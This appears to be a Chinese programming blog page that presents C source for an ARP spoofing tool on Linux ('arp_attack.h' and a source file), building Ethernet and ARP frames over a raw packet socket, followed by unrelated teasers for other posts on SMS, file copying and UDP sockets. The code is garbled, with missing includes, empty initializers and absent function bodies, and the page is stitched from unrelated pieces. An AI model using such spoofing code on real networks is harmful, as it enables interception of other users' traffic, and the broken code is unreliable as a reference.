區域網內arp欺騙已經不是個新鮮的話題,且現在無論主機還是網路裝置,對arp欺騙的防範能力已經大大增強。使用c實現的主要目的在於對linux下socket程式設計加深理解。
傳送arp包自然少不了對資料鏈路層的直接操作, linux下有多種方式,下面**依據af_packet實現。具體**如下:
arp_attack.h
#ifndef _arp_attack_h
#define _arp_attack_h
#include #include #include typedef struct _addr_t addr_t;
/*** get the ip address from the ip range
** reutrn: a linklist of address
*/addr_t *get_ip_range (char *low, char *high);
/*** description: free the linklist
*/void free_addr (addr_t *head);
/*** send free arp
*/void send_free_arp (addr_t *head);
void send_request_arp (addr_t *head);
void get_lan_mac (addr_t *head);
#endif
原始檔
#include #include #include #include #include #include #include #include #include #include "arp_attack.h"
void send_request_arp (addr_t *head)
;//20-7c-8f-11-ac-3c
short src_mac = ;
char *src_ip_addr = "192.168.0.1";
struct ether_header eth_hdr;
memset (ð_hdr, 0, sizeof (struct ether_header));
eth_hdr.ether_dhost[0] = dgt_mac[0];
eth_hdr.ether_dhost[1] = dgt_mac[1];
eth_hdr.ether_dhost[2] = dgt_mac[2];
eth_hdr.ether_dhost[3] = dgt_mac[3];
eth_hdr.ether_dhost[4] = dgt_mac[4];
eth_hdr.ether_dhost[5] = dgt_mac[5];
eth_hdr.ether_shost[0] = src_mac[0];
eth_hdr.ether_shost[1] = src_mac[1];
eth_hdr.ether_shost[2] = src_mac[2];
eth_hdr.ether_shost[3] = src_mac[3];
eth_hdr.ether_shost[4] = src_mac[4];
eth_hdr.ether_shost[5] = src_mac[5];
eth_hdr.ether_type = htons (ethertype_arp);
/* now create the arp packet */
struct ether_arp arp;
memset (&arp, 0, sizeof (struct ether_arp));
arp.ea_hdr.ar_hrd = htons (arphrd_ether);
arp.ea_hdr.ar_pro = htons (0x0800);
arp.ea_hdr.ar_hln = 6;
arp.ea_hdr.ar_pln = 4;
arp.ea_hdr.ar_op = htons (arpop_request);
int fd;
fd = socket (af_inet, sock_packet, htons (eth_p_arp));
if (fd < 0)
struct sockaddr sa;
memset (&sa, 0, sizeof (struct sockaddr));
strcpy (sa.sa_data, "wlan0");
char buf[60] = ;
int hdr_len = sizeof (struct ether_header);
int result;
struct in_addr src_addr;
memset (&src_addr, 0, sizeof (struct in_addr));
inet_aton (src_ip_addr, &src_addr);
addr_t *p;
for (p = head; null != p; p= p->next)
close (fd);
}
編譯環境:gcc version 4.7.2 20121109 (red hat 4.7.2-8) (gcc)
在Linux下用C語言實現簡訊收發
去年在部落格裡發這個貼時,只將主程式 貼了出來,導致資訊不完整,讓讀者根本無法進行實驗。為此,現將全部 貼出來,為想在linux下開發基於簡訊貓的簡訊收發程式的朋友提供一點參考。首先,我根據功能需要建立了幾個標頭檔案,乙個是stringex.h,包含一些字串輔助函式 乙個是inifile.h,包含讀...
Linux下C語言實現CopyFile
linux下c語言實現檔案拷貝 function copy file from file1 to file2 how to execute copyfile file1 file2 under linux data 2007 05 09 include fprintf stderr,bufsiz i...
Linux下C語言實現UDP Socket程式設計
該博文參考了linux c socket 程式設計之udp一文,在這裡表示感謝!傳送方 file udp sender.c author henry created on 2019年5月29日17 08 13 主要實現 傳送20個文字訊息,然後再傳送乙個終止訊息 include include in...